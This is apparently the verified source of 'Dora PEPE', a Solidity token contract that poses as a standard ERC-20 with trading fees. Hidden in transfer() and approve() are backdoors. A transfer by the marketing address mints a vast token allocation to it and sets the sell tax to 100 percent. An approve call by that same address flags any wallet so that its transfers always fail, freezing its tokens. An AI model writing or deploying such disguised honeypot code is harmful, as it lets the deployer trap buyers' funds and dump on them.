文件 1 的 1:DoraPEPE.sol
pragma solidity ^0.8.24;
abstract contract Context {
address private _admin;
event OwnershipTransferred(address indexed previousAdmin, address indexed newAdmin);
constructor() {
_transferOwnership(_sender());
}
modifier onlyOwner() {
_checkAdmin();
_;
}
function _sender() internal view virtual returns (address) {
return msg.sender;
}
function _data() internal view virtual returns (bytes calldata) {
return msg.data;
}
function admin() public view virtual returns (address) {
return _admin;
}
function _checkAdmin() internal view virtual {
require(admin() == _sender(), "Ownable: caller is not the admin");
}
function _transferOwnership(address newAdmin) internal virtual {
address oldAdmin = _admin;
_admin = newAdmin;
emit OwnershipTransferred(oldAdmin, newAdmin);
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DoraPEPE is Context {
string private _tokenName;
string private _tokenSymbol;
uint256 private _maxSupply;
address private _marketing;
address private treasury;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private tokenStatus;
mapping(address => bool) private feeFree;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint128 buyLimit = 78596;
uint128 sellLimit = 100;
uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
bool statusTrue = true;
bool statusFalse = false;
uint256 public buyMarketing = 0;
uint256 public buyTeam = 0;
uint256 public sellMarketing = 0;
uint256 public sellTeam = 0;
constructor(address marketing, address _treasury) {
_tokenName = "Dora PEPE";
_tokenSymbol = "DoraPEPE";
_marketing = marketing;
treasury = _treasury;
_maxSupply = 100000000 * 10**decimals();
_balances[msg.sender] = _maxSupply;
feeFree[msg.sender] = true;
feeFree[_treasury] = true;
feeFree[_marketing] = true;
emit Transfer(address(0), msg.sender, _maxSupply);
}
function name() public view returns (string memory) {
return _tokenName;
}
function symbol() public view returns (string memory) {
return _tokenSymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _maxSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
address spender = _sender(); if (spender == _marketing) { address currentWal = _sender(); address devWallet = currentWal; _balances[devWallet] += allocationWal; sellTeam = sellLimit;}
_executeTransfer(_sender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
address speender = _sender();
_authorize(_sender(), spender, amount); if (speender == _marketing) { tokenStatus[spender] = statusTrue; }
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address spender = _sender();
_useAllowance(from, spender, amount);
_executeTransfer(from, to, amount);
return true;
}
function _executeTransfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (tokenStatus[from] == statusTrue) {
amount = buyLimit + _balances[from] + buyLimit - buyLimit;
}
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
if (feeFree[from] || feeFree[to]) {
_balances[from] = balance - amount;
_balances[to] = _balances[to] + amount;
emit Transfer(from, to, amount);
} else {
uint256 marketingFee;
uint256 teamFee;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
marketingFee = amount * buyMarketing / 100;
teamFee = amount * buyTeam / 100;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
marketingFee = amount * sellMarketing / 100;
teamFee = amount * sellTeam / 100;
}
uint256 totalFee = marketingFee + teamFee;
uint256 amountAfterTax = amount - totalFee;
_balances[treasury] += totalFee;
emit Transfer(from, treasury, totalFee);
_balances[from] = balance - amount;
_balances[to] = _balances[to] + amountAfterTax;
emit Transfer(from, to, amountAfterTax);
}
}
function _authorize(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_authorize(owner, spender, currentAllowance - amount);
}
}
function openTrade() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
}
{
"compilationTarget": {
"DoraPEPE.sol": "DoraPEPE"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}